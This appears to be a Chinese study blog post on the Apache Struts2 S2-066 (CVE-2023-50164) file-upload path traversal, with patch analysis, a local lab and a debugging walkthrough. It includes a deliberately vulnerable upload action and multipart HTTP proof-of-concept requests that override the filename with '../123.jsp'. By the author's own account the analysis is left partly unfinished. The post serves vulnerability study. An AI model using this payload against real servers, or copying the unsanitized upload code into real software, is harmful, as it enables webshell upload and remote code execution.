Apache-Struts2-文件上传

bd795e0137ef69abe058f8c37db40495acb3989b.jpg@1256w_526h_!web-article-pic

刷b站看到有大佬在讲这个漏洞,正好打算学习一下java安全,这个就当了解一下java代码审计吧,为以后的学习找一下方向,寒假回去学一下java基础和Servlet开发,打算培养一下代码审计能力。

先来分析一下补丁

https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163

image-20240104190500097

新增了java.util.Iterator 接口

java.util.Iterator(迭代器)-CSDN博客

修改后的新增添迭代器的作用是通过遍历参数集合中的条目,查找与给定参数名相匹配的条目,并从集合中移除这些匹配的条目。这种方式使得参数集合的具体实现对客户端代码来说是透明的,同时也支持了对集合进行安全修改的操作。

迭代器( Iterator )模式,又叫做游标( Cursor )模式,是用于遍历集合类的标准访问方法。

image-20240104191011640

这段代码的目的是在参数集合中查找并移除与给定参数名相匹配的参数。由于进行了大小写不敏感的比较,即使参数名的大小写不同,也会被正确地识别和移除。

image-20240104191133703

这段代码用于检查在不区分大小写的情况下,给定的映射parameters中是否包含与输入名称name匹配的键。如果找到匹配的键,则返回true,否则返回false

S2-066 - Apache Struts 2 Wiki - Apache Software Foundation

根据描述

1
An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.

攻击者可以操纵文件上传参数来启用路径遍历,在某些情况下,这可能导致上传可用于执行远程代码执行的恶意文件。

前置知识

Apache Struts Web 框架是一个免费的开源解决方案,用于 使用 Java 创建动态 Web 应用程序。

Web 应用程序与传统网站的不同之处在于 Web 应用程序 可以创建动态响应。许多网站只提供静态页面。 Web 应用程序可以与数据库和业务逻辑引擎进行交互 自定义响应。

基于 JavaServer Pages 的 Web 应用程序有时混合数据库 代码、页面设计代码和控制流代码。在实践中,我们发现 除非并且直到这些关注点被分开,否则更大的应用程序会变得 难以维护。

在软件应用程序中分离关注点的一种方法是使用 模型-视图-控制器 (MVC) 体系结构。模型代表业务或 数据库代码,视图表示页面设计代码,控制器表示 表示导航代码。Struts 框架旨在帮助 开发人员创建利用 MVC 体系结构的 Web 应用程序。表达式引擎–OGNL - 掘金 (juejin.cn)

该框架提供三个关键组件:

应用程序开发人员提供的映射到标准 URI 的“请求”处理程序。 一个“响应”处理程序,用于将控制权转移到完成响应的另一个资源。 一个标记库,可帮助开发人员使用服务器页面创建基于表单的交互式应用程序。 该框架的架构和标签符合流行语。支柱工作原理 适用于传统的REST应用程序以及SOAP和AJAX等技术。

struts2的内部三大核心体系

img

其中的控制流体系就是控制程序逻辑执行的先后顺序,其中有过滤器(Filter),控制器(Action),拦截器(Interceptor)

默认拦截器Interceptors (apache.org)按默认的顺序来完成

拦截器与过滤器的差别:Struts2中过滤器和拦截器的区别_strut2 拦截器和顾虑器-CSDN博客

1、拦截器是基于java的反射机制的,而过滤器是基于函数回调

2、过滤器依赖与servlet容器,而拦截器不依赖与servlet容器

3、拦截器只能对action请求起作用,而过滤器则可以对几乎所有的请求起作用

4、拦截器可以访问action上下文、值栈里的对象,而过滤器不能

5、在action的生命周期中,拦截器可以多次被调用,而过滤器只能在容器初始化时被调用一次

struts2处理请求流程详解 - pangbangb - 博客园 (cnblogs.com)

环境搭建

以6.3.0为例搭建

1
2
3
4
5
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>

image-20240104194453867

定义一个UploadAction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.struts2;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;

import java.io.*;

public class UploadAction extends ActionSupport {

private static final long serialVersionUID = 1L;


private File upload;

// 文件类型,为name属性值 + ContentType
private String uploadContentType;

// 文件名称,为name属性值 + FileName
private String uploadFileName;

public File getUpload() {
return upload;
}

public void setUpload(File upload) {
this.upload = upload;
}

public String getUploadContentType() {
return uploadContentType;
}

public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}

public String getUploadFileName() {
return uploadFileName;
}

public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}

public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
String realPath = path + File.separator +uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}

}

image-20240104194536582

注意修改package的路径

在struts.xml当中,通常默认配置下这个文件在项目路径的/WEB-INF/classes路径下

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="upload" extends="struts-default">
<action name="upload" class="com.struts2.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>
</package>
</struts>

image-20240104194629852

以及在web.xml当中配置好filter

1
2
3
4
5
6
7
8
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>

image-20240104194742633

启动

使用tomcat9.0,注意自己配置的端口,image-20240104194928203

然后启动就可以

测试

image-20240104195032989

在test/resources/下创建一个uploadtest.http

image-20240104195138066

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /demo_war_exploded/upload.action HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="../1.txt"
Content-Type: text/plain

atlant1c
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

注意修改路径

image-20240104195610562

在upload目录下可以看到文件

debug分析

使用f7 调试的时候遇到方法体的时候会进入到方法体内部 每个方法依次执行

使用f8 调试的时候 遇到方法体不会进入方法内部 只会依次执行

使用f9 调试的时候 只会执行 打断点的地方

在UploadAction.java添加断点

image-20240104200528125

然后再次请求,可以看到很多的拦截器

image-20240104200617208

第一列是方法,第二列是类名,第三类是类名对应的包名

找到一个类名为

QQ图片20240104201031

FileUploadInterceptor的类名,进入后看到有很多的方法,转到这个抽象方法

image-20240104203906722

image-20240104203505819

猜想程序是从这里调用的,所以在这里添加一个断点,调试可以看到传的参数。

继续往下执行,可以看到传递的参数

image-20240119001040821

这里已经可以看到上传的文件名。

image-20240119001218902

接着往下翻

通过这一步拿到文件名

image-20240104205040293

然后运行到这里,可以看到inputName是upload

image-20240119001544084

然后步入

image-20240119001715604

F7,F8可以看到这里只有之前上传的1.txt文件,然后返回文件名数组

image-20240119002627417

看到拼接

image-20240119124023398

进入这个函数看一眼

image-20240119003344579

image-20240119003359735

里面是一些过滤的东西

然后在外部库找

image-20240119004258986

可以看到有很多的拦截器

image-20240119005056686

然后查看setParameters

image-20240119005153195

可接受参数类型为map,但实际上是一个treeMapJava TreeMap - Java教程 - 菜鸟教程 (cainiaojc.com)

java知识太少,博主转来转去实在跟不上了,就先放放,等学一些开发再来学习

TreeMap底层是基于红黑树(二叉排序树,数据结构学过)实现的,该映射根据其键的自然顺序进行排序,或根据创建映射时提供的Comparator进行排序,关键在于使用的构造方法的不同。

重点是TreeMap的一个特性就是键在遍历(中序遍历)的时候是ASCII码在前的就在前面,ASCII靠后的就在后面测试如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.junit.jupiter.api.Test;

import java.util.Map;
import java.util.TreeMap;

public class TreeMapTest {
@Test
public void test(){
TreeMap<String,Object> treeMap = new TreeMap<>();
treeMap.put("abc","abc");
treeMap.put("Abc","Abc");

for (Map.Entry<String,Object> entry:treeMap.entrySet()){
System.out.println(entry.getKey());
}
}

}

image-20240104212105787

接下来就是判断这个参数是否可以接受

image-20240119010033920

任意路径文件上传原理以及构造

程序将我们所以请求的参数放到一个参数map里面

文件的命名方式为InputName+FileName

1
2
3
4
5
6
7
8
9
10
11
12
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName";
Content-Type: text/plain

../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

把InputName构造为Upload

利用TreeMap的特性

保证InputName为uploadFileName在后面,通过反射注入到action

会有函数时会将set拼接到前面第三个字母大写,然后构造的会覆盖掉正常被过滤的文件名。

参考:

深入struts2_控制流体系 - 简书 (jianshu.com)

Apache Struts2 文件上传分析(S2-066) (y4tacker.github.io)

漏洞分析|S2-066—Apache Struts2 文件上传漏洞(CVE-2023-50164)_struts2-066-CSDN博客

【漏洞原理】代码审计 Debug源码分析 Struts2 S2-066漏洞(CVE-2023-50164)_哔哩哔哩_bilibili

Struts2请求流程与S2-066漏洞深入分析_哔哩哔哩_bilibili

Struts2 历史 RCE 的学习与研究:附最新 S2-066(CVE-2023-50164) (seebug.org)

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066) (qq.com)